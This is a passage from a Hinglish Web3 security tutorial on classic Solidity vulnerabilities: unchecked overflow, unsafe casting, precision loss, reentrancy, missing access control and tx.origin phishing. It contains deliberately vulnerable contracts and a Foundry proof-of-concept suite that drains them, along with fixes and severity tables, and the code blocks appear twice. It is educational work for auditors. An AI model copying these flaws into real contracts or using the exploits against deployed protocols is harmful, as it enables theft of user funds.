}
// βββ Legitimate unchecked use βββββββββ
// (When overflow impossible by logic)
function safeIncrement(
uint256 i,
uint256 length
) internal pure returns (uint256) {
unchecked {
return i + 1;
// β OK! i < length always!
// length = array.length
// Max uint256 array impossible!
}
}
}// Solidity 0.8+ mein bhi!
// unchecked{} = No overflow protection!
pragma solidity ^0.8.19;
contract UncheckedBug {
mapping(address => uint256) public balances;
// Gas optimization ke liye unchecked use:
function batchProcess(
uint256[] calldata amounts
) external {
uint256 total = 0;
unchecked {
// β οΈ Gas save ke liye!
// Lekin overflow possible!
for (uint256 i = 0;
i < amounts.length;
i++)
{
total += amounts[i];
// β Overflow if amounts large!
// total wraps around!
}
}
require(total <= 1000, "Too much");
// π¨ total = 0 (overflow) β Passes!
// But actual sum was 5000!
// Attacker: Send amounts that overflow
// to bypass the 1000 limit!
}
// βββ Legitimate unchecked use βββββββββ
// (When overflow impossible by logic)
function safeIncrement(
uint256 i,
uint256 length
) internal pure returns (uint256) {
unchecked {
return i + 1;
// β OK! i < length always!
// length = array.length
// Max uint256 array impossible!
}
}
}Type Casting Bugs:
contract CastingBug {
// β οΈ Unsafe downcast!
function unsafeCast(
uint256 bigNumber
) external pure returns (uint128) {
return uint128(bigNumber);
// β Truncates! High bits dropped!
// bigNumber = 2^128 + 1
// uint128(2^128 + 1) = 1!
// π¨ Silently truncates!
}
// β οΈ int256 to uint256
function signedToUnsigned(
int256 value
) external pure returns (uint256) {
return uint256(value);
// value = -1
// uint256(-1) = 2^256 - 1! HUGE!
// π¨ Negative β Max positive!
}
// βββ Real Bug Pattern βββββββββββββββββ
mapping(address => uint256) balances;
function deposit(int256 amount) external {
// β οΈ No negative check!
require(amount > 0, "Positive only");
// Actually OK here...
// BUT in library/helper:
balances[msg.sender] +=
uint256(amount);
// If amount validation missing:
// deposit(-1) β uint256(-1) = HUGE!
}
// β
Safe cast:
function safeCast(
uint256 value
) internal pure returns (uint128) {
require(
value <= type(uint128).max,
"Overflow!"
);
return uint128(value);
}
}contract CastingBug {
// β οΈ Unsafe downcast!
function unsafeCast(
uint256 bigNumber
) external pure returns (uint128) {
return uint128(bigNumber);
// β Truncates! High bits dropped!
// bigNumber = 2^128 + 1
// uint128(2^128 + 1) = 1!
// π¨ Silently truncates!
}
// β οΈ int256 to uint256
function signedToUnsigned(
int256 value
) external pure returns (uint256) {
return uint256(value);
// value = -1
// uint256(-1) = 2^256 - 1! HUGE!
// π¨ Negative β Max positive!
}
// βββ Real Bug Pattern βββββββββββββββββ
mapping(address => uint256) balances;
function deposit(int256 amount) external {
// β οΈ No negative check!
require(amount > 0, "Positive only");
// Actually OK here...
// BUT in library/helper:
balances[msg.sender] +=
uint256(amount);
// If amount validation missing:
// deposit(-1) β uint256(-1) = HUGE!
}
// β
Safe cast:
function safeCast(
uint256 value
) internal pure returns (uint128) {
require(
value <= type(uint128).max,
"Overflow!"
);
return uint128(value);
}
}Precision Loss Division Bugs:
contract PrecisionBug {
uint256 constant PRECISION = 1e18;
// β οΈ Divide before multiply = Precision loss!
function calculateRewardBug(
uint256 amount,
uint256 rate, // e.g., 500 = 5%
uint256 duration
) external pure returns (uint256) {
return amount / 10000 * rate * duration;
// β Division FIRST!
// amount = 999
// 999 / 10000 = 0 (integer division!)
// 0 * rate * duration = 0!
// π¨ No rewards for small amounts!
}
// β
Multiply FIRST, divide LAST!
function calculateRewardSafe(
uint256 amount,
uint256 rate,
uint256 duration
) external pure returns (uint256) {
return amount * rate * duration / 10000;
// β Multiply first!
// 999 * 500 * 30 = 14,985,000
// 14,985,000 / 10000 = 1498!
// Correct! β
}
// βββ Rounding Direction Bug βββββββββββ
// Protocol should round in OWN favor!
// Not user's favor!
// User withdraws:
function calculateWithdrawBug(
uint256 shares,
uint256 totalShares,
uint256 totalAssets
) external pure returns (uint256) {
return shares * totalAssets / totalShares;
// Rounds DOWN (default in Solidity)
// User gets LESS β Protocol keeps extra β
// Actually this is CORRECT!
}
// User deposits (shares calculation):
function calculateDepositBug(
uint256 assets,
uint256 totalShares,
uint256 totalAssets
) external pure returns (uint256 shares) {
shares = assets * totalShares / totalAssets;
// β Rounds DOWN
// User gets LESS shares β Protocol keeps β
// Correct direction!
// β οΈ WRONG: Round UP for deposit shares:
// shares = (assets * totalShares + totalAssets - 1)
// / totalAssets;
// User gets MORE shares than entitled
// Slowly drains protocol! π¨
}
}contract PrecisionBug {
uint256 constant PRECISION = 1e18;
// β οΈ Divide before multiply = Precision loss!
function calculateRewardBug(
uint256 amount,
uint256 rate, // e.g., 500 = 5%
uint256 duration
) external pure returns (uint256) {
return amount / 10000 * rate * duration;
// β Division FIRST!
// amount = 999
// 999 / 10000 = 0 (integer division!)
// 0 * rate * duration = 0!
// π¨ No rewards for small amounts!
}
// β
Multiply FIRST, divide LAST!
function calculateRewardSafe(
uint256 amount,
uint256 rate,
uint256 duration
) external pure returns (uint256) {
return amount * rate * duration / 10000;
// β Multiply first!
// 999 * 500 * 30 = 14,985,000
// 14,985,000 / 10000 = 1498!
// Correct! β
}
// βββ Rounding Direction Bug βββββββββββ
// Protocol should round in OWN favor!
// Not user's favor!
// User withdraws:
function calculateWithdrawBug(
uint256 shares,
uint256 totalShares,
uint256 totalAssets
) external pure returns (uint256) {
return shares * totalAssets / totalShares;
// Rounds DOWN (default in Solidity)
// User gets LESS β Protocol keeps extra β
// Actually this is CORRECT!
}
// User deposits (shares calculation):
function calculateDepositBug(
uint256 assets,
uint256 totalShares,
uint256 totalAssets
) external pure returns (uint256 shares) {
shares = assets * totalShares / totalAssets;
// β Rounds DOWN
// User gets LESS shares β Protocol keeps β
// Correct direction!
// β οΈ WRONG: Round UP for deposit shares:
// shares = (assets * totalShares + totalAssets - 1)
// / totalAssets;
// User gets MORE shares than entitled
// Slowly drains protocol! π¨
}
}PART 4: Complete Foundry PoC Suite!
// test/ClassicVulns.t.sol
// Complete test suite for all vulnerabilities
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
contract ClassicVulnTests is Test {
// βββ Setup ββββββββββββββββββββββββββββ
VulnerableETHVault vault;
CrossFunctionVault cfVault;
MissingAC missingAC;
TxOriginBug txOriginBug;
UncheckedBug uncheckedBug;
PrecisionBug precisionBug;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address hacker = makeAddr("hacker");
function setUp() public {
vault = new VulnerableETHVault();
cfVault = new CrossFunctionVault();
missingAC = new MissingAC();
txOriginBug = new TxOriginBug();
uncheckedBug = new UncheckedBug();
precisionBug = new PrecisionBug();
}
// βββ Test 1: Reentrancy βββββββββββββββ
function test_reentrancyDrainsVault()
public
{
// Alice deposits 10 ETH:
vm.deal(alice, 10 ether);
vm.prank(alice);
vault.deposit{value: 10 ether}();
// Hacker has 1 ETH:
vm.deal(hacker, 1 ether);
// Deploy attacker:
ReentrancyAttacker attacker =
new ReentrancyAttacker(
address(vault)
);
vm.prank(hacker);
attacker.attack{value: 1 ether}();
// Vault drained:
assertEq(address(vault).balance, 0);
// Attacker has 11 ETH (10 stolen + 1 own):
assertGt(
address(attacker).balance,
10 ether
);
console.log("Vault drained! Attacker has:",
address(attacker).balance / 1e18, "ETH");
}
// βββ Test 2: Missing Access Control βββ
function test_anyoneCanDrain() public {
// Fund the contract:
vm.deal(address(missingAC), 10 ether);
uint256 hackerBefore = hacker.balance;
// Hacker drains without any permission:
vm.prank(hacker);
missingAC.drainFunds(hacker);
assertEq(
hacker.balance,
hackerBefore + 10 ether
);
console.log("Missing AC: Drained 10 ETH!");
}
// βββ Test 3: tx.origin ββββββββββββββββ
function test_txOriginPhishing() public {
address owner = makeAddr("owner");
// Setup: owner deploys contract
vm.prank(owner);
TxOriginBug vulnerable = new TxOriginBug();
vm.deal(address(vulnerable), 5 ether);
// Deploy phishing contract:
PhishingContract phisher =
new PhishingContract(
address(vulnerable)
);
// Owner visits malicious site
// (calls phishing contract):
vm.prank(owner);
phisher.innocentLookingFunction();
// Owner's funds drained!
assertEq(address(vulnerable).balance, 0);
console.log("tx.origin phished! Funds stolen!");
}
// βββ Test 4: Unchecked Overflow βββββββ
function test_uncheckedOverflow() public {
uint256[] memory amounts =
new uint256[](2);
// Two amounts that overflow to small number:
amounts[0] = type(uint256).max;
amounts[1] = 1;
// Sum = type(uint256).max + 1 = 0 (overflow!)
// Should fail (total > 1000)
// But passes because overflow makes total = 0!
uncheckedBug.batchProcess(amounts);
console.log("Unchecked overflow bypassed limit!");
}
// βββ Test 5: Precision Loss βββββββββββ
function test_precisionLoss() public {
// Small amount β Zero rewards!
uint256 reward = precisionBug
.calculateRewardBug(
999, // amount
500, // 5% rate
30 // 30 days
);
assertEq(reward, 0);
// π¨ Zero rewards for 999 tokens!
// Correct calculation:
uint256 correctReward = precisionBug
.calculateRewardSafe(
999, 500, 30
);
assertGt(correctReward, 0);
console.log("Bug reward:", reward);
console.log("Correct reward:", correctReward);
}
}// test/ClassicVulns.t.sol
// Complete test suite for all vulnerabilities
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
contract ClassicVulnTests is Test {
// βββ Setup ββββββββββββββββββββββββββββ
VulnerableETHVault vault;
CrossFunctionVault cfVault;
MissingAC missingAC;
TxOriginBug txOriginBug;
UncheckedBug uncheckedBug;
PrecisionBug precisionBug;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address hacker = makeAddr("hacker");
function setUp() public {
vault = new VulnerableETHVault();
cfVault = new CrossFunctionVault();
missingAC = new MissingAC();
txOriginBug = new TxOriginBug();
uncheckedBug = new UncheckedBug();
precisionBug = new PrecisionBug();
}
// βββ Test 1: Reentrancy βββββββββββββββ
function test_reentrancyDrainsVault()
public
{
// Alice deposits 10 ETH:
vm.deal(alice, 10 ether);
vm.prank(alice);
vault.deposit{value: 10 ether}();
// Hacker has 1 ETH:
vm.deal(hacker, 1 ether);
// Deploy attacker:
ReentrancyAttacker attacker =
new ReentrancyAttacker(
address(vault)
);
vm.prank(hacker);
attacker.attack{value: 1 ether}();
// Vault drained:
assertEq(address(vault).balance, 0);
// Attacker has 11 ETH (10 stolen + 1 own):
assertGt(
address(attacker).balance,
10 ether
);
console.log("Vault drained! Attacker has:",
address(attacker).balance / 1e18, "ETH");
}
// βββ Test 2: Missing Access Control βββ
function test_anyoneCanDrain() public {
// Fund the contract:
vm.deal(address(missingAC), 10 ether);
uint256 hackerBefore = hacker.balance;
// Hacker drains without any permission:
vm.prank(hacker);
missingAC.drainFunds(hacker);
assertEq(
hacker.balance,
hackerBefore + 10 ether
);
console.log("Missing AC: Drained 10 ETH!");
}
// βββ Test 3: tx.origin ββββββββββββββββ
function test_txOriginPhishing() public {
address owner = makeAddr("owner");
// Setup: owner deploys contract
vm.prank(owner);
TxOriginBug vulnerable = new TxOriginBug();
vm.deal(address(vulnerable), 5 ether);
// Deploy phishing contract:
PhishingContract phisher =
new PhishingContract(
address(vulnerable)
);
// Owner visits malicious site
// (calls phishing contract):
vm.prank(owner);
phisher.innocentLookingFunction();
// Owner's funds drained!
assertEq(address(vulnerable).balance, 0);
console.log("tx.origin phished! Funds stolen!");
}
// βββ Test 4: Unchecked Overflow βββββββ
function test_uncheckedOverflow() public {
uint256[] memory amounts =
new uint256[](2);
// Two amounts that overflow to small number:
amounts[0] = type(uint256).max;
amounts[1] = 1;
// Sum = type(uint256).max + 1 = 0 (overflow!)
// Should fail (total > 1000)
// But passes because overflow makes total = 0!
uncheckedBug.batchProcess(amounts);
console.log("Unchecked overflow bypassed limit!");
}
// βββ Test 5: Precision Loss βββββββββββ
function test_precisionLoss() public {
// Small amount β Zero rewards!
uint256 reward = precisionBug
.calculateRewardBug(
999, // amount
500, // 5% rate
30 // 30 days
);
assertEq(reward, 0);
// π¨ Zero rewards for 999 tokens!
// Correct calculation:
uint256 correctReward = precisionBug
.calculateRewardSafe(
999, 500, 30
);
assertGt(correctReward, 0);
console.log("Bug reward:", reward);
console.log("Correct reward:", correctReward);
}
}PART 5: Vulnerability Severity Matrix!
Reentrancy Types:
ββββββββββββββββββββββββ¬βββββββββββ¬βββββββββββββββββββββ
β Type β Severity β Real Example β
ββββββββββββββββββββββββΌβββββββββββΌβββββββββββββββββββββ€
β ETH Reentrancy β Critical β The DAO ($60M) β
β Cross-Function β Critical β Cream ($130M) β
β Read-Only β High β Curve (Multiple) β
β ERC-777 β High β Uniswap β
β Cross-Contract β Critical β Various β
ββββββββββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββ
Access Control Bugs:
ββββββββββββββββββββββββ¬βββββββββββ¬βββββββββββββββββββββ
β Type β Severity β Example β
ββββββββββββββββββββββββΌβββββββββββΌβββββββββββββββββββββ€
β Missing modifier β Critical β Parity Wallet β
β tx.origin β High β Multiple β
β Uninitialized proxy β Critical β Poly Network β
β Wrong modifier logic β High β Various β
β Role escalation β Critical β Various β
β Signature replay β High β Multiple bridges β
β Overprivileged β Medium β Rug pulls β
ββββββββββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββ
Integer Bugs:
ββββββββββββββββββββββββ¬βββββββββββ¬βββββββββββββββββββββ
β Type β Severity β Example β
ββββββββββββββββββββββββΌβββββββββββΌβββββββββββββββββββββ€
β Overflow (pre-0.8) β Critical β BatchOverflow β
β Underflow (pre-0.8) β Critical β Various tokens β
β Unchecked block β High β Modern contracts β
β Type casting β High β Various β
β Divide before mul β Medium β Yield protocols β
β Rounding direction β Medium β Vault protocols β
ββββββββββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββReentrancy Types:
ββββββββββββββββββββββββ¬βββββββββββ¬βββββββββββββββββββββ
β Type β Severity β Real Example β
ββββββββββββββββββββββββΌβββββββββββΌβββββββββββββββββββββ€
β ETH Reentrancy β Critical β The DAO ($60M) β
β Cross-Function β Critical β Cream ($130M) β
β Read-Only β High β Curve (Multiple) β
β ERC-777 β High β Uniswap β
β Cross-Contract β Critical β Various β
ββββββββββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββ
Access Control Bugs:
ββββββββββββββββββββββββ¬βββββββββββ¬βββββββββββββββββββββ
β Type β Severity β Example β
ββββββββββββββββββββββββΌβββββββββββΌβββββββββββββββββββββ€
β Missing modifier β Critical β Parity Wallet β
β tx.origin β High β Multiple β
β Uninitialized proxy β Critical β Poly Network β
β Wrong modifier logic β High β Various β
β Role escalation β Critical β Various β
β Signature replay β High β Multiple bridges β
β Overprivileged β Medium β Rug pulls β
ββββββββββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββ
Integer Bugs:
ββββββββββββββββββββββββ¬βββββββββββ¬βββββββββββββββββββββ
β Type β Severity β Example β
ββββββββββββββββββββββββΌβββββββββββΌβββββββββββββββββββββ€
β Overflow (pre-0.8) β Critical β BatchOverflow β
β Underflow (pre-0.8) β Critical β Various tokens β
β Unchecked block β High β Modern contracts β
β Type casting β High β Various β
β Divide before mul β Medium β Yield protocols β
β Rounding direction β Medium β Vault protocols β
ββββββββββββββββββββββββ΄βββββββββββ΄βββββββββββββββββββββQuick Revision
π Reentrancy Types:
ETH β CEI violation + ETH callback
Cross-fn β Different function reenter
Read-only β View function stale state
ERC-777 β Token hooks (tokensReceived)
Cross-ctr β Multiple contract state share
Fixes:
β CEI pattern (State BEFORE external call)
β nonReentrant modifier
β Pull over push pattern
π Access Control Bugs:
Missing modifier β Anyone calls
tx.origin β Phishing attack
Uninitialized β Proxy takeover
Wrong modifier β Logic bypass
Role escalation β Privilege gain
Signature replay β Reuse valid sig
Overprivileged β Rug pull risk
Fixes:
β msg.sender (never tx.origin!)
β OpenZeppelin AccessControl
β Initializer guards
β Nonces for signatures
β Multisig + Timelock
π’ Integer Bugs:
Overflow β Wraps to 0 (pre-0.8)
Underflow β Wraps to max (pre-0.8)
Unchecked{} β Still dangerous in 0.8!
Type cast β Truncation silently
Division β Precision loss
Fixes:
β Use Solidity 0.8+
β Avoid unchecked unless proven safe
β Explicit safe casting
β Multiply before divide
β Round in protocol's favorπ Reentrancy Types:
ETH β CEI violation + ETH callback
Cross-fn β Different function reenter
Read-only β View function stale state
ERC-777 β Token hooks (tokensReceived)
Cross-ctr β Multiple contract state share
Fixes:
β CEI pattern (State BEFORE external call)
β nonReentrant modifier
β Pull over push pattern
π Access Control Bugs:
Missing modifier β Anyone calls
tx.origin β Phishing attack
Uninitialized β Proxy takeover
Wrong modifier β Logic bypass
Role escalation β Privilege gain
Signature replay β Reuse valid sig
Overprivileged β Rug pull risk
Fixes:
β msg.sender (never tx.origin!)
β OpenZeppelin AccessControl
β Initializer guards
β Nonces for signatures
β Multisig + Timelock
π’ Integer Bugs:
Overflow β Wraps to 0 (pre-0.8)
Underflow β Wraps to max (pre-0.8)
Unchecked{} β Still dangerous in 0.8!
Type cast β Truncation silently
Division β Precision loss
Fixes:
β Use Solidity 0.8+
β Avoid unchecked unless proven safe
β Explicit safe casting
β Multiply before divide
β Round in protocol's favorMeri Baatβ¦
Ek observation jo mere liye eye-opening tha:
The DAO hack = 2016
$60 million
Ethereum hard fork
Reentrancy = "Solved" problem?
2020: Lendf.me = $25M (reentrancy)
2021: Cream Finance = $130M (reentrancy)
2022: Fei Protocol = $80M (reentrancy)
2023: Euler = $197M (access control)
2024: Multiple protocols = $50M+ (reentrancy)
8 SAAL BAAD BHI same bugs!
Kyun?
1. Developer ne suna tha reentrancy ke baare mein
Lekin pressure mein ship kiya
"Hamare paas nonReentrant add karne ka
waqt nahi" β Real conversation!
2. "We use OpenZeppelin, we're safe!"
OZ import kiya,
lekin nonReentrant nahi lagaya
β Still vulnerable!
3. "We got audited!"
Audit = Point in time snapshot
Code change ke baad audit = Stale
Moral:
Yeh vulnerabilities boring lagti hain
"Basic" lagti hain
Lekin audit reports mein:
#1 finding = Access Control
#2 finding = Reentrancy
Boring bugs = Most money!
Inhe boring mat samjho β
Inhe paisa samjho! π°Ek observation jo mere liye eye-opening tha:
The DAO hack = 2016
$60 million
Ethereum hard fork
Reentrancy = "Solved" problem?
2020: Lendf.me = $25M (reentrancy)
2021: Cream Finance = $130M (reentrancy)
2022: Fei Protocol = $80M (reentrancy)
2023: Euler = $197M (access control)
2024: Multiple protocols = $50M+ (reentrancy)
8 SAAL BAAD BHI same bugs!
Kyun?
1. Developer ne suna tha reentrancy ke baare mein
Lekin pressure mein ship kiya
"Hamare paas nonReentrant add karne ka
waqt nahi" β Real conversation!
2. "We use OpenZeppelin, we're safe!"
OZ import kiya,
lekin nonReentrant nahi lagaya
β Still vulnerable!
3. "We got audited!"
Audit = Point in time snapshot
Code change ke baad audit = Stale
Moral:
Yeh vulnerabilities boring lagti hain
"Basic" lagti hain
Lekin audit reports mein:
#1 finding = Access Control
#2 finding = Reentrancy
Boring bugs = Most money!
Inhe boring mat samjho β
Inhe paisa samjho! π°Article #20 mein: Classic Vulnerabilities Part 2: Oracle Manipulation, Flashloan Attacks, Price Manipulation Theory + PoC + Real Exploits!
HackerMD_ Web3 Security Researcher_ GitHub: BotGJ16 | Medium: @HackerMD
Previous: Article #18 DeFi Protocol Types Part 2 Next: Article #20 Classic Vulnerabilities Part 2
#Reentrancy #AccessControl #IntegerOverflow #SmartContractSecurity #Web3Security #BugBounty #Hinglish #HackerMD